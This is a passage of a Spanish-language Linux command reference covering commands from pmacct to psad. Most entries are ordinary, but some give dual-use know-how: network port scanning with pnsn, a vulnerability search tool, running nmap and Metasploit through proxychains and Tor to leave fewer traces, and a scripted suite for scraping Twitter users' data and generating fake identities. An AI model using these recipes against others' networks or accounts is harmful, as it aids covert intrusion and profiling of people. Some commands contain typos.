Híbrido entre hibernación y suspensión. En caso de agotarse la batería, se mantiene en estado de hibernación, sin perder datos
```

Notas:

```
H (High) máxima utilización del sistema de enfriamiento.
A (Auto) sistema de regulación automática de temperatura.
L (Low) mínimo uso del sistema de enfriamiento. Cuando supera cierto límite, pasa a modo
    automático.
1.-
```

opciones que permite un ordenador.

```
# cat /sys/power/state
```

Si en la salida aparece "mem" significa que podemos suspender el ordenador. Si aparece "disk" significa que podemos hibernar.

## pmacct

Herramienta diseñada para recopilar información de tráfico [bytes y número de paquetes]. Incluye las aplicaciones: `nfacctd`, `pmacctd`, `pmbgpd`, `pmbmpd`, `pmtelemetryd`, `sfacctd` y `uacctd`. El archivo de configuración esta en `/etc/pmacct/pmacctd.conf`.

```
# pmacctd
activar el demonio
```

```
# pmacct -a
muestra todos los campos de la tabla
```

```
# pmacct -s
mostrar todas las estadísticas
```

```
# pmacct -t
mostrar estado de la tabla de memoria
```

```
# pmacct -e
limpiar la tabla de estadísticas
```

## pmap

Informa sobre el rendimiento de la memoria del sistema, tanto en general como la memoria que consume un proceso concreto.

```
$ pmap -d PID
consumo de memoria de las librerías, comandos y archivos que está empleando el proceso indicado
```

```
$ pmap -x PID (Muestra información adicional y la memoria consumida por todos los archivo que
corren en determinado PID)
```

```
$ pmap -p PID
Mostrar ruta en el mapeo
```

## pmdk-tools

Paquete que proporciona al usuario un conjunto de utilidades para el análisis y manipulación fuera de línea de grupos creados por bibliotecas `pmem`. Incluye las aplicaciones `daxio` y `pmempool`.

```
# daxio --zero /dev/dax
Poner a cero el dispositivo de salida
```

```
# daxio --input=/dev/zero --output=/dev/dax --skip=4096
número de bytes que se deben omitir en la entrada antes de realizar una lectura
```

Nota.- Un dispositivo DAX [`devdax`] proporciona un medio para que las aplicaciones accedan directamente al almacenamiento, sin la participación de un sistema de archivos. El beneficio del dispositivo DAX es que proporciona una granularidad de fallas garantizada. Debe haber al menos un dispositivo DAX como entrada o salida. Si no se especifica, el valor predeterminado será `stdin` o `stdout` respectivamente. Para las arquitecturas Intel 64 y AMD64, se admiten las siguientes granularidades: 4KB, 2MiB y 1GB

## pmie

Motor de inferencia para métricas de rendimiento.

```
$ pmie archivo
```

## pmount

Permite a usuarios sin privilegios montar dispositivos extraíbles sin una entrada `/etc/fstab` coincidente.

```
# pmount
Muestrar todos los dispositivos extraíbles montados

# pmount --type iso9660 --read-only /dev/cdrom
Montar un CD-ROM con el tipo de sistema de archivos ISO9660 en modo solo lectura

# pmount --type ntfs --read-write /dev/sdc
Montar un disco formateado en NTFS, forzando el acceso de lectura y escritura

# pmount --type ext4 /dev/sda1 label
Montar un dispositivo con un tipo de sistema de archivos ext4 en /media/label

# pumount /dev/sda1
desmontar una particion
```

## pmt-

[coreutils, cutycapt, xvfb, imagemagick, twidge, html2text, wget] Pequeña suite para extraer información de usuarios de twitter. Listado de scripts de la suite: `pmt-avatar.sh` `pmt-followers.sh` `pmt-hashtags.sh` `pmt-nicks.sh` `pmt-people.sh` `pmt-rmessage.sh` `pmt-screenshot.sh`

```
$ wget http://elbinario.net/wp-content/uploads/2015/05/puppetmastertweet-wip.tar5.gz
$ tar xzf puppetmastertweet-wip.tar5.gz
$ cd puppetmastertweet/tools
```

```
$ ./pmt-avatar -a lapipaplana
Extrae el avatar y lo coloca en la carpeta pictures
```

```
$ ./pmt-followers.sh -f lapipaplana
Muestra el número de seguidores
```

```
$ ./pmt-hashtags.sh -t es
Muestra listado de hashtags de un país especificado
```

```
$ ./pmt-nicks -n
Genera un nick aleatorio
```

```
$ ./pmt-nicks -a
Genera un nombre y un apellido
```

```
$ ./pmt-nicks -b
Genera un nombre y dos apellidos
```

```
$ ./pmt-nicks -c
Genera un nombre, dos apellidos y un nick acorde
```

```
$ ./pmt-nicks -d
Genera un nombre, dos apellidos y un nick acorde en valores separados por ;
```

```
$ ./pmt-people.sh -p Toros
lista de cuentas con relevancia en un hashtag
```

```
$ ./pmt-rmessage.sh -m lapipaplana
Muestra mensajes de un usuario
```

```
$ ./pmt-rmessage.sh -l lapipaplana
Muestra el último mensaje de un usuario
```

```
$ ./pmt-screenshot.sh -f lapipaplana
captura de pantalla de un perfil. Se guarda en la carpeta screenshots
```

## pm-utils

Herramienta de línea de comandos de shell para suspender e hibernar la computadora. Incluye los ejecutables: pm-is-supported, pm-hibernate, pm-powersave, pm-suspend y pm-suspend-hybrid

```
$ pm-is-supported
muestra las acciones soportadas [--suspend | --hibernate | --suspend-hybrid]
```

```
# pm-suspend --quirk-* --help
ver las opciones de suspender
```

```
# pm-suspend-hybrid --quirk-* --help
ver las suspension hibrida
```

```
# pm-hibernate --help
ver los parámetros de la opción que puede especificarse para hibernar el pc
```

```
# pm-powersave false
desactiva las funciones de ahorro de energía
```

```
# pm-powersave true
activa las funciones de ahorro de energía
```

## png2html

Convertir imagenes png a html. Dado que la conversión asume 1 pixel por cada caracter, las imagenes resultantes se ven alargadas. Para una visualización más decente han de achatare. A modo de ejemplo una imagen de 115x115 no se ha visualizado correctamente hasta 155x115.

```
$ png2html imagen.png texto.txt salida.html 1
```

El archivo texto.txt contiene una palabra, frase o párrafo con el que se confeccionará la imagen. El último número indica:

0 = fuente pequeña incompatible en algunos navegadores.

1 = fuente mediana.

2 = fuente grande.

## pngcheck

Verifica la integridad de archivos PNG, JNG y MNG y opcionalmente vuelca casi toda la información. Por ejemplo, se puede usar para imprimir las estadísticas básicas sobre una imagen [dimensiones, profundidad de bits, etc.] para enumerar la información de color y transparencia en su paleta o para extraer las anotaciones de texto incrustadas.

```
$ pngcheck imagen.png
```

```
$ pngcheck *.png
verifica un lote de imagenes
```

## pngcrush

Optimizar imagenes png.

```
$ pngcrush imagen.png nueva_imagen.png
Uso basico
```

```
$ pngcrush -rem allb -brute -reduce original.png modificada.png
Quitando información adicional [-rem allb], utilizando método de fuerza bruta que prueba 114
filtros y métodos compresión y selecciona el que mejor comprima la imagen [-brute] y reduciendo el
tamaño de la imagen [-reduce]
```

```
$ optipng -o7 *.png
Todos las imagenes del directorio a su nivel mas alto posible
```

## pngmeta

Programa de filtrado que extrae metadatos de imágenes PNG y los muestra como HTML, SOIF, RDF/XML o campos y valores simples.

```
$ pngmeta --all --html imagen.png
```

Imprimir toda la información sobre el tamaño de la imagen, la profundidad, etc y salida en html.

## pngnq

Optimización de imágenes .png. Comprime reduciendo el número de colores disponible. El tamaño del archivo resultante es mucho menor, pero hay pérdida de calidad.

```
$ pngnq imagen.png
```

No sobrescribe la imagen. Añade al nombre una extensión para distinguirla [-nq8]

```
$ pngnq -n 256 imagen.png
```

Pasando de ARGB de 32 bits por píxel a formato de paleta de 256 colores, con 8 bits por píxel

```
$ pngnq -n 64 imagen.png
```

Indicando número de colores

## pngphoon

Crea una imagen png de la fase actual de la luna.

```
$ pngphoon -h 1060px -w 1060px -f lluna.png -s 50
```

Los parámetros h [altura de la imagen], w [anchura] y f [archivo de salida] son obligatorios. "s" es la densidad de puntos

```
$ pngphoon -h 1060px -w 1060px -f lluna.png -b
```

En negro la superficie de la luna no iluminada

## pngquant

Optimización de imágenes .png. Comprime reduciendo el número de colores disponible. El tamaño del archivo resultante es mucho menor, pero hay una pérdida de calidad.

```
$ pngquant imagen.png
```

```
$ pngquant --quality=40-90 imagen.png
```

con una calidad de 40 mínima y 90 máxima

```
$ pngquant *.png
```

todas las imágenes del directorio

```
$ pngquant imagen1.png imagen2.png imagen3.png
```

con varias imágenes a la vez

## pngsplit

[pngcheck]. Dividir un archivo PNG, MNG o JNG en fragmentos individuales numerados.

```
$ pngsplit --verbose --force foto.png
```

mostrando mensajes y sobrescribir archivos de salida existentes



## pngtools

Conjunto de utilidades para trabajar con archivos PNG. Incluye las aplicaciones pngchunkdesc, pngchunks, pngcp y pnginfo

```
$ pngchunkdesc imagen.png
```

Los archivos PNG se basan en una serie de fragmentos que incorporan la información almacenada en el archivo de imagen. Estos fragmentos tienen nombres ASCII de cuatro caracteres, donde el caso de cada letra almacena información adicional. Este programa decodifica la información del caso en los nombres de los fragmentos y la muestra

```
$ pngchunks imagen.png
```

imprimir información incrustada en un archivo PNG

```
$ pngcp entrada.png salida.png
```

crear un nuevo archivo PNG, cambiando algunos atributos como las transparencias

```
$ pnginfo imagen.png
```

muestra información sobre la imagen especificada

## pnsn

Es un escáner de puertos de subprocesos múltiples.

```
$ pnsn 192.168.1 5/24 22
```

escanear el puerto 22 de la red mencionada

```
$ pnsn 192.168.1.5/24 1:65525
```

todos los puertos de la red)

```
$ pnsn -w"HEAD / HTTP/1.0\r\n\r\n" -r"Server:" localhost 1:65525
```

escanear todos los puertos de localhost

## pom

Informa de las fases de la luna.

```
$ pom
```

## pompem

Herramienta diseñada para automatizar la búsqueda de vulnerabilidades en las bases de datos más importantes. Realiza búsquedas en seguridad PacketStorm, CXSecurity, ZeroDay, Vulners, base de datos de vulnerabilidades nacionales, base de datos de vulnerabilidades WPSan ...

```
$ pompem -s Wordpress
```

```
$ pompem -s Joomla --html
```

escribir el resultado en un archivo .html

```
$ pompem -s "Internet Explorer,joomla,wordpress" --html
```

```
$ pompem -s FortiGate --txt
```

el resultado en un archivo .txt

```
$ pompem -s ssh,ftp,mysql
```

## popbugs

Encuentra errores en paquetes que se usan habitualmente.

```
# popbugs -d
```

## popd

Ver pushd.

## poppassd

Es un script CGI escrito para permitir a los usuarios cambiar sus contraseñas de una forma más divertida:

```
# poppassd

200 poppassd v1.8.4 hello, who are you?

user nombre_usuario

200 Your password please.

pass 1234567

200 Your new password please.

newpass 987654

200 Password changed, thank-you.

quit

200 Bye.
```

Nota.- Como puede verse en el ejemplo anterior, las contraseñas no cifradas se transmiten a través de la red. Debido a esto, se recomienda utilizar este demonio solo para cambiar la contraseña del loopback local y bloquear todo acceso no local al puerto 106 [localhost:106], ya sea a través de /etc/hosts.deny:

```
# nano /etc/hosts.allow
```

Y colocar la línea:

```
ALL: 127.0.0.1
```

Y en:

```
# nano /etc/hosts.deny
```

```
ALL : 127.0.0.1:106
```

O con reglas de firewall apropiadas.

## popularity-contest

Informa a Debian de los paquetes más populares. Normalmente esta aplicación es lanzada por cron (/etc/cron.daily/popularity-contest). El archivo de configuración se encuentra en /etc/popularity-contest.conf. Si queremos ver el listado de lo que manda a Debian:

```
# popularity-contest > listado
```

## porg

Es un programa para ayudar a la gestión de paquetes de software instalados desde el código fuente. Después de la instalación de dichos paquetes, generalmente uno no tiene idea de qué se instaló y adónde fue, lo que dificulta la desinstalación del paquete en el futuro. Porg fue escrito para resolver este problema de una manera bastante sencilla. Al instalar un paquete desde las fuentes, porg encapsula el comando de instalación (por ejemplo, "make install") y guarda la información de instalación en su propia base de datos de texto sin formato.

La siguiente secuencia de comandos ejemplifica una instalación típica de un paquete llamado foo-1.3:

```
$ tar xvf foo-1.3.tar.gz
$ cd foo-1.3
$ ./configure
$ make
# porg -lp foo-1.3 "make install"
Especificar el nombre del paquete que se registrará y activar logs
```

Después de los comandos anteriores, y siempre que todo haya ido bien, el programa foo-1.3 se instalará en el sistema y se registrará en la base de datos de porg. Se puede verificar simplemente escribiendo el siguiente comando, que enumerará los archivos instalados por el paquete:

```
$ porg -f foo-1.3
activando listado [-f]. Sin nombre de archivo, lista todos los instalados mediante porg

$ porg -i foo-1.3
información del paquete
```

## portsentry

Herramienta de seguridad que detecta escaneo de puertos y permite monitorizar rastreos tipo NULL, SYN, TCP, ARP... Su configuración se realiza en el archivo /etc/portsentry/portsentry.conf, las opciones [tcp y/o udp] del demonio en /etc/default/portsentry y las máquinas y interfaces a ignorar en /etc/portsentry/portsentry.ignore.static. Sin tocar del archivo de configuración el parámetro TCP\_PORTS y UDC\_PORTS portsentry simula que todos los especificados están abiertos, lo cual puede verificarse con un nmap:

```
# nmap 192.168.1.x
```

La configuración por defecto con la explicación a modo de comentario:

```
# Puertos que se simularán abiertos y que monitorizarán ataques:
TCP_PORTS
    ="1,11,15,79,111,119,143,540,635,1080,1524,2000,5742,6667,12345,12346,20034,27665,31337,32771,32772"

UDP_PORTS
    ="1,7,9,69,161,162,513,635,640,641,700,37444,34555,31335,32770,32771,32772,32773,32774,31337,54321"

# Monitorizar los servicios del rango de puertos del 1 al especificado [1024]:
ADVANCED_PORTS_TCP="1024"
ADVANCED_PORTS_UDP="1024"
# puertos excluidos del scaneo:
```

```
ADVANCED_EXCLUDE_TCP="113,139"
ADVANCED_EXCLUDE_UDP="520,138,137,67"
# Archivo con ips que no queremos bloquear:
IGNORE_FILE="/etc/portsentry/portsentry.ignore"
# Direcciones detectadas intentando acceder puertos monitoreados:
HISTORY_FILE="/var/lib/portsentry/portsentry.history"
BLOCKED_FILE="/var/lib/portsentry/portsentry.blocked"
# No resolver la ip del host atacante [con valor 1 lo resuelve]:
RESOLVE_HOST = "0"
# Bloquear scaneos udp y tcp. valor 0 no bloquear
```

```
BLOCK_UDP="1"
BLOCK_TCP="1"
# Configurar la actuación de los distintos intentos de intrusión [0=no bloquear, 1=
    Bloquear y 2=Ejecutar un comando externo]:
KILL_ROUTE="/sbin/route add -host $TARGET$ reject"
# Opción para los atacantes insistentes [bloqueo total por TCPwrappers]:
```

```
KILL_HOSTS_DENY="ALL: $TARGET$ : DENY"
# qué tan rápido marca una intento fallido como un ataque. 0=paranoico, 1 y 2=permite
algún error. Valores superiores descartar]
SCAN_TRIGGER="0"
# Comunicar un mensaje al atacante:
PORT_BANNER="** UNAUTHORIZED ACCESS PROHIBITED *** IP LOGGED"
Ha de especificarse, si no consta ya, como mínimo en /etc/portsentry/portsentry.ignore, la ip
localhost, 127.0.0.1 y las IPs de las interfaces locales si existen.
```

```
# service portsentry stop
```

```
# service portsentry start
```

```
# service portsentry status
```

```
# grep "attackalert" /var/log/syslog
ver alerta de ataques
```

```
# grep -n Blocked /var/lib/portsentry/portsentry.history
ver historial de ips bloqueadas
```

```
# nano /var/lib/portsentry/portsentry.blocked
ver ips bloqueadas
```

## postgres

[postgresql php5-pgsql]. Gestión de base de datos. En caso de querer aceptar conexiones externas:

```
# nano /etc/postgresql/9.1/main/postgresql.conf
```

Substituir la linea:

```
listen_addresses = 'localhost'
por:
```

```
listen_addresses = '*'
1.-
```

Pasos previos para la creación del usuario y la base de datos:

```
$ sudo -s
# su postgres (Cambiar a la cuenta del usuario por defecto)
$ createuser NOMBRE_DEL_USUARIO (Crear un usuario. Pregunta si con privilegios o sin [
  Shall the new role be a superuser? (y/n)])
$ createdb NOMBRE_BASE_DE_DATOS -E utf8 -O NOMBRE_DEL_USUARIO (Crear una base de datos
  especificando propietario y codificación)
$ psql
postgres=# alter user NOMBRE_DEL_USUARIO with passwr 'LA_CONTRASEÑA'; (Establecer
  contraseña de un usuario)
2.-
```

Para crear un usuario que sea el mismo que el sistema operativo y con privilegios de administrador:

```
$ sudo -u postgres createuser --superuser $USER
$ sudo -u postgres psql
$ postgres=# \password USUARIO
3.-
```

Creación de un base de datos [la llamaremos "misdatos"]:

```
$ createdb misdatos (Si se ha creado el mismo usuario que el sistema operativo)
$ sudo -u postgres createdb misdatos (En caso de sólo existir el usuario por defecto [
  postgres])
$ createdb (Crea una base de datos con el mismo nombre que el usuario)
$ createdb misdatos (Crea una base de datos con un nombre concreto)
$ dropdb misdatos (Eliminar una base de datos)
4.-
```

Acceso a una base de datos:

```
$ sudo -u usuario psql base_de_datos (Cuando el usuario no es el mismo del sistema)
$ psql misdatos (Entrar en el prompt de la base de datos especificada)
misdatos=# (Prompt de la base de datos de administrador)
misdatos=> (Prompt de la base de datos sin privilegios)
5.-
```

Creación de una tabla (igual que para mysql [ver]):

```
CREATE TABLE usuario(
nombre VARCHAR(20), apellido VARCHAR(20),
profesión VARCHAR(20), sexo CHAR(1), nacimiento DATE,
antigüedad DATE);
misdatos=# DROP TABLE nombre_de_la_tabla; (Borrar una tabla)
misdatos=# INSERT INTO usuario VALUES ('juan antonio', 'gomez', 'admin', 'h',
'1985-10-06', '2008-03-11'); (Entrar datos en el mismo orden en el que se ha creado la
tabla)
misdatos=# SELECT * FROM usuario; (Ver el contenido de una tabla)
misdatos=# SELECT nombre FROM usuario; (Seleccionar una columna de una tabla)
misdatos=# SELECT * FROM usuario ORDER BY nombre; (Mostrar una tabla ordenado segun una
columna)
Las metaordenes de psql son un conjunto de órdenes internas, no propiamente órdenes SQL. Todas
empiezan con la barra invertida [\].
```

```
\h (Muestra la ayuda. Pulsando "q" salimos de la ayuda)
\? (Ver todas las ordenes internas)
\q (Salir de psql)
```

## powerdebug

Herramienta para mostrar información sobre reguladores, sensores y relojes.

```
# powerdebug
de todo
```

```
# powerdebug -s
-s sensores, -r del regulador, -c del reloj
```

```
# powerdebug -d
volcar info por pantalla
```

## powerline

[fonts-powerline]. Utilidad escrita en python que muestra otra forma de ver el prompt de la shell.

```
$ mkdir ~/.config/powerline
```

```
$ cp -R /usr/share/powerline/* ~/.config/powerline
copiar archivos y modificarlos al gusto
```

Añadir la siguientes lineas en .bashrc

```
if [ -f /usr/share/powerline/bindings/bash/powerline.sh ]; then
source /usr/share/powerline/bindings/bash/powerline.sh
fi
Recargar la configuración:
```

```
$ source .bashrc
para tener la misma configuración como root:
```

```
# cp -f .bashrc /root/.bashrc
El resultado se observa al abrir una nueva terminal.
```

## poweroff

[halt, reboot]. Apagar el ordenador. Los 3 comandos tienen las mismas opciones.

```
$ poweroff --halt
Detener la máquina independientemente de que comando de los tres se use
```

```
$ poweroff --reboot
Reinicie la máquina, independientemente de cuál de los tres comandos se invoque
```

## powerstat

Utilidad para medir el consumo de energía de un portátil con fuente de alimentación por batería. Proporciona información sobre el consumo de energía del sistema.

```
$ powerstat
Mida la potencia con el valor predeterminado de 10 muestras con un intervalo de 10 segundos
```

```
$ powerstat interval 20
Mida la potencia con un número especificado de muestras
```

## powertop

Es una herramienta para diagnosticar problemas con el consumo y la administración de energía. Además de ser una herramienta de diagnóstico, también tiene un modo interactivo que puede usar para experimentar con varias configuraciones de administración de energía, en los casos en que la distribución de Linux no haya habilitado esas configuraciones. powertop informa qué componentes del sistema tienen más probabilidades de ser responsables de un consumo de energía superior al necesario, desde aplicaciones de software hasta componentes activos del sistema. Hay pantallas detalladas disponibles para los estados C y P de la CPU, la actividad del dispositivo y la actividad del software.

```
# powertop -t 10 --debug -c -r
generar un informe durante 10 segundos, ejecutar en modo calibración y el resultado en .html [
powertop.html]
```

## ppp

El protocolo Point-to-Point proporciona una forma estándar de transmitir datagramas a través de un enlace serie, así como una forma estándar para que las máquinas en cada extremo del enlace negocien varias características opcionales del enlace. Este paquete se utiliza más comúnmente para administrar un módem para acceso telefónico o ciertos tipos de conexiones de banda ancha. Incluye los ejecutables: plog, poff y # pon (ejecuta el archivo /etc/ppp/ppp\_on\_boot, si existe y es ejecutable. De lo contrario, se iniciará una conexión PPP utilizando la configuración de /etc/ppp/peers/provider)

```
# poff
cierra una conexión PPP
```

```
# poff conec
Si existe más de una conexión PPP, se eliminará la que se menciona en el argumento
```

```
# plog
muestra las últimas líneas de /var/log/ppp.log. Si ese archivo no existe, muestra las últimas líneas del archivo /var/log/syslog, pero excluyendo las líneas no generadas por pppd
```

Nota.- Para tener toda la información generada por pppd en un archivo de registro que pueda mostrar ese plog, se necesita la siguiente línea en el archivo /etc/syslog.conf:

```
local2.*      -/var/log/ppp.log
```

## ppt

Formatea un texto a cintas de papel.

```
$ ppt linux es un sistema genial
```

## pr

Muestra en pantalla un archivo de texto en modo Previsualización de impresión

```
$ pr fichero.txt
```

## prads

Es un Sistema Pasivo de Detección de Activos en Tiempo Real [Passive Real-time Asset Detection System]. Escucha pasivamente el tráfico de la red y recopila información sobre los hosts y servicios que ve. Esta información se puede utilizar para mapear la red, permitiéndolo saber qué servicios y hosts están siendo activos o utilizados. Incluye la aplicaciones prads-asset-report y prads2snort.

```
# prads -v -u user -i eth1
con la máxima información, del usuario "user" [por defecto root] y la interfaz eth1 [por defecto eth0] los logd se guardan por defecto en /var/log/prads-asset.log
```

```
# prads2snort -v -i /var/log/prads-asset.log -o /etc/snort/host_attributes.xml
```

```
# prads-asset-report -r /var/log/prads-asset.log -w asset-report.txt
enviar el informe de log [-r] al archivo especificado [-w]
```

## prelink

Preenlazar binarios y bibliotecas ELF compartidas para acelerar su tiempo de inicio. Precisa lanzar prelink despues de cada nueva instalación de paquetes o configurarlo en el cron.

```
# prelink -amR
Para equipos x86
```

```
# prelink -aR
Para equipos x86_64
```

Modificar las opciones de prelink:

```
# nano /etc/default/prelink
```

Y modificamos la línea que pone: PRELINKING=unknown por:

PRELINKING=yes

```
# prelink -au
Devolver el sistema a su punto de partida
```

## preload

Demonio que se encarga de recoger información de las aplicaciones más usadas para que en el siguiente inicio estos estén cargados en memoria acelerando el tiempo de arranque de los mismos.

## prettytyping

Herramienta para mostrar la latencia entre los hosts de envío y de destino. Es una envoltura de la herramienta de ping estándar con el objetivo de hacer que la salida sea más bonita, más colorida, más compacta y más fácil de leer. Prettytyping ejecuta el ping estándar en segundo plano y analiza su salida, mostrando las respuestas al ping de forma gráfica mediante el uso de colores y caracteres Unicode.

```
$ prettytyping google.com
```

## primes

Generar números primos.

```
$ primes 1 100
del 1 al 100
```

```
$ primes 100 150
del 100 al 150
```

## printenv

Para saber los valores de todas las variables de entorno predefinidas por la shell (TERM, SHELL, PWD, LC\_ALL, USER, USERNAME, HOME, LOGNAME, BROWSER, DISPLAY...).

```
$ printenv
```

```
$ printenv | grep "^PATH"
Sólo de la variable especificada
```

```
$ printenv | grep "^SHELL"
lo mismo que "echo $SHELL"
```

```
$ export SHELL=/bin/sh
Modificar el valor de una variable sólo en la presente sesión. Para hacer el cambio permanente
colocar la línea en .bashrc
```

## printf

Escribe y formatea datos

```
$ printf "%50s\n" | tr ' ' -
Generar una línea discontinua
```

```
$ printf "%s\n" ${PATH//:/\/* }
listar aplicaciones y comandos del PATH
```

```
$ printf "%s\n" .*
listar archivos y directorios ocultos de la carpeta actual
```

```
$ printf "\e[8;10;100;t"
Cambiar la medida de la terminal
```

```
$ printf "%s\t --> %s\n" "$A" "$B"
Dos variables en columnas tabuladas
```

```
$ printf "%s\n" Escribir cada palabra en una "nueva línea"
Pues eso, excepto las dos últimas entrecomilladas
```

```
$ printf "%06d\n" "$RANDOM" "$RANDOM" "$RANDOM" "$RANDOM"
Iguala las cuatro salidas de $RANDOM a 6 cifras con ceros delante[%06d]
```

```
$ printf "%-10s %-10s %s\n", $1, $2, $3
3 variables justificadas a la izquierda, las dos primeras con 10 caracteres
```

Algunas opciones:

%c (Imprime el primer carácter de una variable cadena)

%d (Imprime un número decimal)

%s (Cadena)

%b (Interpreta las secuencias de escape del argumento cadena)

%q (Escribe el argumento cadena de forma que pueda ser usado como entrada a otro comando)

%% (Escribe % literal)



## prips

imprimir las direcciones IP de un rango determinado.

```
$ prips 192.168.1.0/24
```

```
$ prips -i 4 192.168.1.5 192.168.1.150  
solo una de cada cuatro
```

## privoxy

filtrar datos que se utilizan en la navegación web (cookies, encabezados...). Es importante usarlo con Tor ya que a veces el navegador ejecuta por sí mismo las resoluciones DNS y las agrega a las cabeceras de la petición http.

```
# nano /etc/privoxy/config
```

Añadir la línea:

```
forward-socks5 / 127.0.0.1:5060 .
```

Nota.- No olvidar el punto final.

## procdump

Herramienta para detectar picos de utilización de CPU en una aplicación y generar un volcado de memoria [dump] durante este pico.

Lo siguiente creará un volcado de núcleo inmediatamente.

```
# procdump -p PID  
volcado inmediato
```

```
# procdump -n 3 -p PID  
3 volcados separados por 10 segundos
```

```
# procdump -n -s 5 -p PID  
3 volcados de núcleo separados por 5 segundos
```

```
# procdump -C 70 -n 3 -p PID  
un volcado cada vez que el proceso llegue al 70% de uso de CPU, 3 veces, separados por 10 segundos
```

```
# procdump -C 70 -n 3 -s 5 -p PID  
un volcado cada vez que el proceso llegue al 70% de uso de CPU, hasta 3 veces y con al menos 5 segundos entre volcados
```

```
# procdump -c 10 -C 65 -p PID  
un volcado del núcleo cuando el uso de la CPU está fuera del rango entre 10 y 65
```

```
# procdump -C 70 -M 100 -p PID  
un volcado cuando el uso de CPU llegue a 70% o el uso de memoria llegue a 100 MB
```

## procenv

Vuelca todos los atributos de entorno en un formato analizable.

```
$ procenv -C  
los procesos de la CPU
```

```
$ procenv -l  
mostrar los límites de los atributos de entorno
```

```
$ procenv --format=xml --signals  
mostrar todos los datos en formato XML
```

## procinfo

Estadísticas del sistema de /proc

```
$ procinfo -r
memoria libre real
```

```
$ procinfo -n2
actualización cada 2 segundos
```

```
$ procinfo -d
en base a segundos en lugar de como valores totales
```

```
$ procinfo -D
mostrar estadísticas como totales
```

```
$ procinfo -H
en formato KiB, MiB, GiB en lugar de los Kbytes predeterminados
```

## procps

Explorar el "pseudo" sistema procfs, generado dinámicamente por el kernel para proporcionar información sobre el estado de las entradas en su tabla de procesos, como si el proceso se está ejecutando, detenido o "zombi". Incluye varios ejecutables; kill, sysctl, free, pgrep, pidwait, pkill, pmap, pwdx, skill, slabtop, snice, tload, top, uptime, vmstat, w y watch

## procs

Herramienta que se comporta básicamente como el comando ps [ver] pero más coloreado, más legible, por columnas y vista en árbol. Descarga de <https://github.com/dalance/procs/releases/tag/v0.14.0> o instalar mediante snap: snap install procs

```
$ procs
lanzar la aplicación
```

```
$ procs cpu
ver datos de las cpus
```

## proftpd

Servidor ftp local.

```
# nano /etc/proftpd/proftpd.conf
```

```
DefaultRoot      /home/usuario                users, !otros
```

```
DefaultRoot      /home/usuario/servidor      otros
```

Indicamos que el directorio raíz de los usuarios del grupo users es /home/usuario pero los del grupo otros solo pueden acceder al directorio servidor.

```
$ tail -f /var/log/proftpd
monitorizar los logs
```

## progress

Herramienta que busca comandos básicos de Coreutils [cp, mv, dd, tar, gzip/gunzip, cat, etc.] que se están ejecutando en su sistema y muestra el porcentaje de datos copiados. También puede mostrar el tiempo estimado y el rendimiento. Simplemente escanea /proc en busca de comandos para encontrar archivos abiertos e informa de su estado.

```
$ progreess
forma básica
```

```
$ progress -m
monitoreo interactivo
```

## proxychains

[tor privoxy]. Convierte en anonima la conexión que realiza una aplicación determinada [Ver privoxy]

```
# nano /etc/proxychains.conf
```

Descomentar o añadir las líneas [usar el mismo puerto que en privoxy]:

```
# defaults set to "tor"
```

```
socks4 127.0.0.1 9050
```

Iniciar tor o, caso de usar vidalia, crear nueva identidad.

```
# /etc/init.d/tor restart
```

```
# proxychains curl ifconfig.me
```

Si la ip no es la nuestra indica que todo está correctamente funcionando

Si configuramos el navegador para usar proxy podemos comprobar su correcto funcionamiento con <https://check.torproject.org/>

```
# proxychains firefox ifconfig.me
```

Arrancar el navegador bajo proxy

```
# proxychains nmap -Pn -sT IP
```

Lanzar nmap con proxy. -Pn y -sT son para dificultar en lo posible dejar trazas

Otros ejemplos:

```
# proxychains nessusd -D
```

```
# proxychains msfconsole
```

```
# proxychains ssh -D 127.0.0.1:9050 usuario@host
```

## prozilla

[libncurses5]. Gestor de descargas. La descarga se realiza en el directorio actual. Para modificar dicho directorio ha de editarse en el archivo de configuración (/etc/prozilla.conf) la opción: mainoutputdir = /home/usuario/tmp. Página: <<http://old-releases.ubuntu.com/ubuntu/pool/universe/p/prozilla/>>

```
$ proz URL
```

## ps

Informa sobre el estado de los procesos

```
$ ps
```

muestra el PID de la consola

```
$ ps -ef
```

lista entera y completa de los procesos del sistema

```
$ ps u
```

Muestra el usuario y la hora de inicio de los ultimos procesos ejecutados

```
$ ps r
```

Muestra solo los procesos que se estan ejecutando

```
$ ps x
```

Muestra los que no estan controlados por ninguna terminal

```
$ ps S
```

Muestra tiempo de CPU y fallos de los procesos hijos

```
$ ps aux | sort -nrk 4 | head
```

Los 10 procesos que consumen más memoria

## P

```
$ ps -C firefox
ver los procesos asociados a una aplicación
```

```
$ ps -l PID
informa de la aplicación que corre por un PID
```

```
$ ps -p $$
Informa del pid de la propia terminal
```

```
$ ps axo pid=,stat= | awk '$2~/^Z/ { print $1 }' (Ver PID de los procesos zombies)
Opciones
```

```
a (muestra lo que se está ejecutando en ttys conocidas)
x (muestra lo que se se está ejecutando desconociendo en cual tty)
u (muestra los usuarios que están ejecutando los procesos)
flags:
```

```
USER (usuario que ejecuta el proceso)
PID (número del proceso)
%CPU (porcentaje de CPU que está utilizando)
%MEM (porcentaje de memoria)
RSS (cantidad de memoria en kilobytes que ha utilizado el proceso)
TTY (consola desde la que se está ejecutando)
Stat (muestra el estado del proceso: S "durmiendo", R "corriendo", T "parado", Z "zombie")
START (hora a la que empezó el proceso)
TIME (tiempo de CPU que ha usado el proceso desde su inicio)
COMMAND (nombre del comando que se está ejecutando)
```

## ps2pdf

[psutils]. Pasar un archivo ps a pdf

```
$ man -t mount | ps2pdf - mount.pdf
salvar a pdf una página man del comando "mount"
```

Convertir pdf en formato A4 a A5 para imprimir como libro con las páginas ordenadas:

```
$ pdftops archivo.pdf
convertir el .pdf a .ps
```

```
$ psbook archivo.ps | psnup -pa4 -2 > archivo_A5.ps
convertir el archivo generado de A4 a A5
```

```
$ ps2pdf archivo_A5.ps archivo_A5.pdf
convertir nuevamente a pdf listo para imprimir
```

## psad

Analiza logs de iptables para detectar y opcionalmente bloquear IPs infractoras. Herramienta formada por tres demonios del sistema que se ejecutan y analizan mensajes de registro de iptables para detectar escaneos de puertos y el resto de tráfico sospechoso. Incluye 4 herramientas: nf2csv, fwcheck\_psad, kmsgsd y psadwatchd. El archivo de configuración, por defecto, se encuentra en "/etc/psad/psad.conf". Los resultados en /var/log/psad/analysis.out.

Habilitar logs en iptables:

```
# iptables -A INPUT -j LOG
```

```
# iptables -A FORWARD -j LOG
```

Lanzar los siguientes tres comandos:

```
# psad -R
Reiniciar psad
```

```
# psad --sig-update
Recargar firmas para que pueda reconocer correctamente los tipos de ataques conocidos
```

## P

```
# psad -H
Releer archivo pad
```

Consultar estado con:

```
